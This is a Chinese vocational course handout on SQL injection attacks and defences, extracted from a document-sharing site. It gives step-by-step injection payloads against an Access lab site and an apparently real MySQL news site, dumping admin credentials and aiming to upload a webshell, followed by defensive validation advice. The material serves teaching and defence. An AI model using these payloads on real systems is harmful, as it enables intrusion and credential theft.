版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、服务器入侵技术应用与防护3.2 数据库服务器的SQL注入攻击与防护 教学的实施过程学生探究完成任务检查评测综合创新思考、探讨完成任务需要的相关资料,搜集资料,制定工作计划 明确需要完成的工作任务;教师进行点评、确定最终的实施方法;对技术问题进行讲授和答疑。学生进入网络实训室,根据工作计划完成每个工作项目,完成每个项目实施日志和心得总结 学生分组相互检查任务完成情况,分析不足,给出评价;教师对学生的日志和总结进行分析,给出评价。探索数据库的其它入侵方法和防范方法,搜索相关工具,并在虚拟网络或网络实训室中进行验证。3.2 数据库服务器的SQL注入攻击与防护常见的数据库攻击方法有哪些?目前的主流数据
2、库的SQL注入技术。完成数据库SQL注入攻击所需要的环境和工具。如何防范数据库的SQL注入攻击?问题引领3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击(一)环境说明 目前国内很大一部分网站都是采用asp+access搭建成的,本实例网站是在虚拟机搭建的一套留言板程序,IP地址为: :/28:8181/bbs/index.asp(留言板首页) 3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击(二) 攻击实例讲解 点击公告连接,此时注意观察地址栏 :/28:8181/bbs/gshow.asp?id=1Gshow.asp后面
3、跟了一个id参数,其值为数字1, 下面我们来看一下服务器端的gshow.asp中的读取公告内容的代码:3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击在id参数后面加上 and exists(select * from msysobjects) 注:mysysobjects是access的系统表完整的测试语句: :/28:8181/bbs/gshow.asp?id=1 and exists(select * from msysobjects),回车提交到服务器端 3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击一般网站重要
4、的信息就是后台管理员登陆帐号密码了,我们提交 :/28:8181/bbs/gshow.asp?id=1 and exists(select * from users) (判断数据库中是否存在users表) 3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击根据图中返回结果提示users表不存在,那么我们继续来提交 :/28:8181/bbs/gshow.asp?id=1 and exists(select * from admin)3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击提交 :/28:8181/bbs/gshow.
5、asp?id=1 and exists(select user from admin)服务器返回”至少一个参数没有被指定值说明不存在user字段,继续提交 :/28:8181/bbs/gshow.asp?id=1 and exists(select admin from admin) 3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击服务器返回正常,说明admin表里面存在字段”admin”(这个字段一般就是管理员登陆名称),再提交 :/28:8181/bbs/gshow.asp?id=1 and exists(select password from adm
6、in) 3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击 :/28:8181/bbs/gshow.asp?id=1 and (select top 1 len(admin) from admin)=5 得到下图所示的页面说明长度为5 3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击现在可以根据得到的信息猜解字段内容了,具体方法就是and (select top 1 asc(mid(admin,x,1) from admin)x将表中第一条记录指定字段内容的某个字符的ascii值进行比较,以此类推从而猜测出字段内容 本实例中
7、提交 :/28:8181/bbs/gshow.asp?id=1 and 97=(select top 1 asc(mid(admin,1,1) from admin) 3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击接下来我们把2、3、或4输出的地方换成我们想要查询到的管理员信息,上面我们已经知道了管理员表里面存在admin、password字段,构造语句 :/28:8181/bbs/gshow.asp?id=1 union select 1,admin,password,4,5 from admin 3.2 数据库服务器的SQL注入攻击与防护项目一 Acc
8、ess数据库的SQL注入攻击获取了管理员表admin中的数据。 根据图中返回信息可以判定字段数=4,继续提交 order by 6 。 3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击如图,出现了错误提示,说明字段数是小于6的,再提交order by 5 返回正常页面 结合上面就可以断定字段数为5了,再使用union select即可查询出想要的信息;另一个是用union select x,x来累加猜测3.2 数据库服务器的SQL注入攻击与防护项目一 Access数据库的SQL注入攻击如果返回上图所示的错误信息就累加,直到页面输出数据的地方出现数字 ,然后再
9、将字段名替换数字就能够实现快速得到数据库信息了。 3.2 数据库服务器的SQL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 实例介绍mysql数据库在web开发中也是运用得相当广泛,和其它数据库一样,在脚本编程时如果对参数没过滤或过滤不严格也会导至注入漏洞的产生。本实例是在虚拟机搭建php+mysql网站。目标网站为,点开一条带参数的新闻链接:3.2 数据库服务器的SQL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 在url后面加上一下单引号 这是程序简单处理了数据库暴错信息。下面来进一步确定是否存在注入漏洞,分别提交 and 1=1 and 1=23.2 数据库服务器的S
10、QL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 当提交and 1=2的时候数据返回了错误信息,这种情况下无论什么数据库都可以确定存在注入漏洞了。开始进一步或取相关信息,先用order by取得当前表的字段数,提交 3.2 数据库服务器的SQL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 返回了正常页面,再提交返回出错页面,说明字段数在大于或等于14小于19,再来提交返回正常3.2 数据库服务器的SQL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 当提交 :/spring.sina-qd /news/show.php/?id=18944 order by 17出错
11、,跟据上面返回的结果说明字段数为16,再来使用union select 方法进一步获取我们要的信息。提交 :/spring.sina-qd /news/show.php/?id=18944 and 1=2 union select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16/*3.2 数据库服务器的SQL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 跟据页面返回信息可以看到在数据库查询显示结果的地方显示了我们刚刚输入的数字,下一步或取数据库版本,当前用户,数据库名提交 :/spring.sina-qd /news/show.php/?id=18944
12、and 1=2 union select1,2,user(),4,version(),6,7,8,9,0,11,12,13,14,15,163.2 数据库服务器的SQL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 当前用户为sinaqd(非root),版本为4.0.18(5.0以下),对于这种情况,思路就是通过注入点提交查询语句得到管理员登陆信息然后进入后台上传webshell。下面来判断管理员表, :/spring.sina-qd /news/show.php/?id=18944 and 1=2 union select 1,2,3,4,5,6,7,8,9,0,11,12,13,1
13、4,15,16 from user返回错误页面 再提交 :/spring.sina-qd /news/show.php/?id=18944 and 1=2 union select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16 from users说明存在users(有时候是管理员表,有时候是普通注册用户)表 3.2 数据库服务器的SQL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 继续猜字段 :/spring.sinaqd /news/show.php/?id=18944%20and%201=2%20union%20select%201,2,name,
14、4,5,6,7,8,9,0,11,12,13,14,15,16%20from%20users3.2 数据库服务器的SQL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 成功获取登陆名称sinaqd,继续提交:ttp:/spring.sina-qd /news/show.php/?id=18944%20and%201=2%20union%20select%201,2,name,4,password,6,7,8,9,0,11,12,13,14,15,16%20from%20users不存在pasword字段,提交 :/spring.sina-qd /news/show.php/?id=18
15、944%20and%201=2%20union%20select%201,2,name,4,passwd,6,7,8,9,0,11,12,13,14,15,16%20from%20users3.2 数据库服务器的SQL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 暴出了密码,下面就寻找后台入口了,配合google很快找到了管理入口3.2 数据库服务器的SQL注入攻击与防护项目二 Mysql数据库的SQL注入攻击 输入用户名和密码,成功进入后台。现在是管理员了,然后在找到上传的地方上传webshell。3.2 数据库服务器的SQL注入攻击与防护项目三 数据库注入攻击的防范 一、注入攻击
16、防范分析 注入攻击都是来自于客户端,无论是表单提交、URL传值还是Cookie等,其实原理都是一样的。到了服务器端可以分成三种情况:数字、日期时间、字符串。数字。假设我们要实现一个显示新闻的页面,我们可能会随手写下下面的代码:stringid=Request.QueryStringid;stringsql=select*fromnewswhereColID=+id; 如果传递过来的id是我们想像的数字(比如168),那么自然不会有什么问题。但是如果传递过来的id是“168deletefromtable”的话,那么sql的值就变成了“select*fromtablewhereColID=168d
17、eletefromnews”。 对于SQLServer来说是支持一次提交多条SQL语句的,这个为我们提供了方便之余也为SQL注入敞开了大门。 显然如果这条SQL语句被执行的话,那么news表里的记录就都没有了。因为ColID字段的类型是int的,那么我们只需要验证一下传递过来的id是不是整数就可以了,整数就不存在注入。即使不存在注入,把一个不是整数的id拼接进去也会造成执行错误。所以说不管是不是为了预防SQL注入,也都应该验证id是不是整数。可以用TryParse,可以用正则,也可以自己写函数验证。但是不建议用try异常的方式,因为牵扯效率问题。这里还有一个特殊情况,就是对于批量删除这类的会传
18、递过来多个数字,比如“1,2,3,10”,这个也需要验证一下,万一有人利用这个漏洞呢。至于验证方法也很简单,自己写个函数就ok了。 3.2 数据库服务器的SQL注入攻击与防护项目三 数据库注入攻击的防范 一、注入攻击防范分析日期时间日期时间和数字的情况是一样的,验证是不是日期时间即可。字符串 最麻烦、争议最大的就是这个了。先看一下如何注入:比如我们先要按照新闻标题来进行查询,可能写的代码:stringkey=txtTitle.Text;stringsql=select*fromnewswheretitlelike%+key+%; 这个又是如何注入的呢?如果key的值永远都不会包含单引号,那么会不会被注入进来?那么用了单引号又是如何注入的呢?假设key=deletefrom
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025服装连锁加盟合同样本
- 2025海上运输合同模板书
- 二零二五年度车辆转让与道路救援服务合同3篇
- 二零二五年度股权投资公司股东合作协议3篇
- 二零二五年度文化产业发展全新期权合同3篇
- 2025年度养羊产业人才培养与交流合作协议3篇
- 二零二五年度生态保护公益合作合同3篇
- 2025年度虚拟现实合伙人股权分配与内容开发合同3篇
- 二零二五年度生态农业用地农村房屋买卖合同协议书
- 2025年度农村自建房包工与智能安防系统安装合同
- 江西省景德镇市2023-2024学年高二上学期1月期末质量检测数学试题 附答案
- 2024年办公楼卫生管理制度模版(3篇)
- 保险公司2024年工作总结(34篇)
- 2024年01月22503学前儿童健康教育活动指导期末试题答案
- 湖北省荆州市八县市2023-2024学年高一上学期1月期末考试 化学 含解析
- 2024年世界职业院校技能大赛中职组“婴幼儿保育组”赛项考试题库-上(单选题)
- 《水文化概论》全套教学课件
- 期末测评(基础卷二)-2024-2025学年一年级上册数学人教版
- 深圳大学《数值计算方法》2021-2022学年第一学期期末试卷
- 服装厂安全培训
- 民法债权法学习通超星期末考试答案章节答案2024年
评论
0/150
提交评论